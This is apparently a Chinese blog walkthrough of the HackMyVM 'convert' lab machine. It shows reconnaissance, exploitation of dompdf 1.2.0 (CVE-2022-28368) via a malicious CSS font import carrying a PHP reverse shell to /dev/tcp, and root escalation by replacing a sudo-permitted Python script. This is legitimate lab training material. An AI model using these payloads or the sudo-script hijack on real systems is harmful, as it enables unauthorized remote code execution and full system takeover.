HMV convert 靶机复盘
Todd

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
IP=192.168.0.190
nmap -sV -T5 -Pn -p- $IP

Host is up (0.022s latency).
Not shown: 64756 closed tcp ports (conn-refused), 777 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open http nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开了 80 和 22 ,先开着目录扫描:

1
2
3
4
5
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt

/index.php (Status: 200) [Size: 1026]
/upload (Status: 301) [Size: 169] [--> http://192.168.0.190/upload/]

看一眼首页是提供 HTML 到 PDF 的转换服务的。直接访问 http://192.168.0.190/upload/ 是一个 403,不知道是不给列目录还是需要登陆验证。

尝试入侵

看着 HTML 转 PDF,尝试了下 http://www.baidu.com,报错:

1
Fatal error: Uncaught RuntimeException: Error generating PDF: The PHP GD extension is required, but is not installed. in /var/www/html/index.php:39 Stack trace: #0 /var/www/html/index.php(61): PdfGenerator->generateFromHtml() #1 {main} thrown in /var/www/html/index.php on line 39

百度有图片,然后没有安装 GD 库。不过看到了 PdfGenerator->generateFromHtml() 和一些目录信息。暂时没什么用。去 github 上搜一下代码,看看有没有信息:
language:php path:index.php PdfGenerator->generateFromHtml()
搜不出来啥玩意。说明这个代码并不是那个开源项目里的。

再尝试下 http://192.168.0.190/ 发现返回了 pdf 版本的首页。
所以这个服务是正常工作的,只是没有 GD 库,不能生成图片。

此时群里的小伙伴提醒在 hacktricks 里面有一个 pdf 相关的知识点,去看了下,发现了一个有趣的东西:

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf

因为转换服务需要读取网页内容,所以可能有两种情况:

  • 使用 wkhtmltopdf 之类的服务的时候,可能会执行 js 代码那么就是 xss,但是我们是靶机,xss 这种一般用处不大。
  • 还有一种就是 SSRF,如果可以读取本地文件,那么就可以读取敏感文件。甚至可以利用做内网扫描。

遗憾的是,试了很多 payload 似乎并没有触发,我基本上确认这个服务并不会执行 js 代码。

这个时候又有一个小伙伴丢出了一个 dompdf exploit。
原来是我太菜了,并不是我猜的 wkhtmltopdf。
其实我之前已经打开下载并打开过 pdf 文件了,strings 之后并没有这个内容。后来用 sublime 打开发现我遗漏了一行内容:

1
2
3
4
<<
/Producer (þÿdompdf 1.2.0 + CPDF)
/CreationDate (D:20240418013744+00'00')
/ModDate (D:20240418013744+00'00')

似乎看到了是 dompdf 1.2.0,果然去 https://www.exploit-db.com/ 搜索之后发现了 Dompdf 1.2.1 - Remote Code Execution (RCE) 。
https://www.exploit-db.com/exploits/51270
里面有利用脚本:https://github.com/rvizx/CVE-2022-28368
既然有脚本,剩下就是开搞

1
2
3
4
git clone https://github.com/rvizx/CVE-2022-28368
cd CVE-2022-28368
python3 -m pip install -r requirements.txt
python3 dompdf-rce.py --help

一顿操作下来,傻眼了,并没有成功。仔细看了下利用代码,发现 RCE 利用的时候,dompdf 是直接有一个入口的,而靶场的入口是被目前看到的这个转换服务封装过的。

没办法,这个时候只能弄明白这个脚本是怎么工作的了。
又去一顿搜索。发现了一个 github 仓库 https://github.com/positive-security/dompdf-rce
里面有一个图写的非常清楚这个利用过程:
image

这个时候方案讲究比较清楚了,首先刚才的 python 脚本已经帮我生成了 css 和 php 文件,我只需多一个 html 引入这两个文件,然后开启 python3 -m http.server 80,然后访问这个 html 文件,就可以 触发了。

  1. 先吧刚才生成的 css 和 php 文件放到一个目录下,改好里面的 IP 为本机和 python http 服务的端口。python3 -m http.server 8000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/tools/CVE-2022-28368]
└─$ cat exploit.css

@font-face {
font-family:'exploitfont';
src:url('http://192.168.0.30:8000/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}

┌──(kali㉿kali)-[~/tools/CVE-2022-28368]
└─$ cat exploit_font.php

� dum1�cmap
`�,glyf5sc��head�Q6�6hhea��($hmtxD
loca
Tmaxp\ nameD�|8dum2�
-��-����
:83#5:08��_<�
@�8�&۽
:8L��

:D

6 s
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.30/1234 0>&1'");?>
  1. 写一个 html 文件,里面引入这个 css 文件
1
<link rel="stylesheet" type="text/css" href="http://IP:8000/explotit.css" />
  1. 去目标网页上输入这个 html 文件的地址,就可以看见请求:
1
2
3
4
5
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.190 - - [18/Apr/2024 12:56:32] "GET /index.html HTTP/1.1" 200 -
192.168.0.190 - - [18/Apr/2024 12:56:32] "GET /exploit.css HTTP/1.1" 200 -
192.168.0.190 - - [18/Apr/2024 12:56:32] "GET /exploit_font.php HTTP/1.1" 200 -
  1. 此时恶意的 PHP 文件已经在靶机上生成了,接下来我们去算下路径的 cmd5 就可以在服务上触发了。
1
2
3
4
5
6
7
8
# 先准备一个反弹监听:

pwncat-cs -l -p 1234

# 然后访问 http://192.168.0.30:8000/exploit_font.php 的cmd5 值:
echo 'http://192.168.0.30:8000/exploit_font.php' | md5
e47f95cc50e077ca3a5a0187668913a0

要访问的路径就是:

1
http://192.168.0.190/dompdf/lib/fonts/exploitfont_normal_e47f95cc50e077ca3a5a0187668913a0.php

如果没有弹回成功,注意检查以上的各个步骤,还有一点是,这个 php 文件是在一个 font 文件尾部追加了一句话,所以如果你在 vim 下直接编辑,在字符集不正确的情况下,可能就不对了。
所以你可以选择不改 php 文件里的反弹地址或者端口。

  1. 然后就拿到了 eva 这个用户的 webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(remote) eva@convert:/var/www/html/dompdf/lib/fonts$ id
uid=1000(eva) gid=1000(eva) groups=1000(eva)
(remote) eva@convert:/home/eva$ ls -al
total 36
drwx------ 2 eva eva 4096 Apr 16 05:35 .
drwxr-xr-x 3 root root 4096 Feb 22 22:17 ..
lrwxrwxrwx 1 root root 9 Feb 23 17:01 .bash_history -> /dev/null
-rw-r--r-- 1 eva eva 220 Feb 22 22:17 .bash_logout
-rw-r--r-- 1 eva eva 3526 Feb 22 22:17 .bashrc
-rw-r--r-- 1 eva eva 807 Feb 22 22:17 .profile
-rw------- 1 eva eva 1392 Apr 16 05:35 .viminfo
-rw-r--r-- 1 root root 1 Feb 24 10:10 pdf_gen.log
-rw-r--r-- 1 eva eva 33 Apr 16 05:35 pdfgen.py
-rw-r----- 1 eva eva 33 Feb 23 17:16 user.txt

提权

sudo -l 看下结果:

1
2
3
4
5
Matching Defaults entries for eva on convert:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User eva may run the following commands on convert:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *

这里关键的部分就是 可以执行 pdfgen.py 的内容。经过大佬指点,自己的家目录,虽然没有修改权限,但是可以删除,于是:

1
rm pdfgen.py

然后新建这个文件:

1
2
import os
os.system('/bin/bash')

在执行这个文件:

1
2
3
sudo /usr/bin/python3 /home/eva/pdfgen.py 1
root@convert:/home/eva# id
uid=0(root) gid=0(root) groups=0(root)

就拿到了 root shell,然后就可以看到 /root/root.txt 了。

完结。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量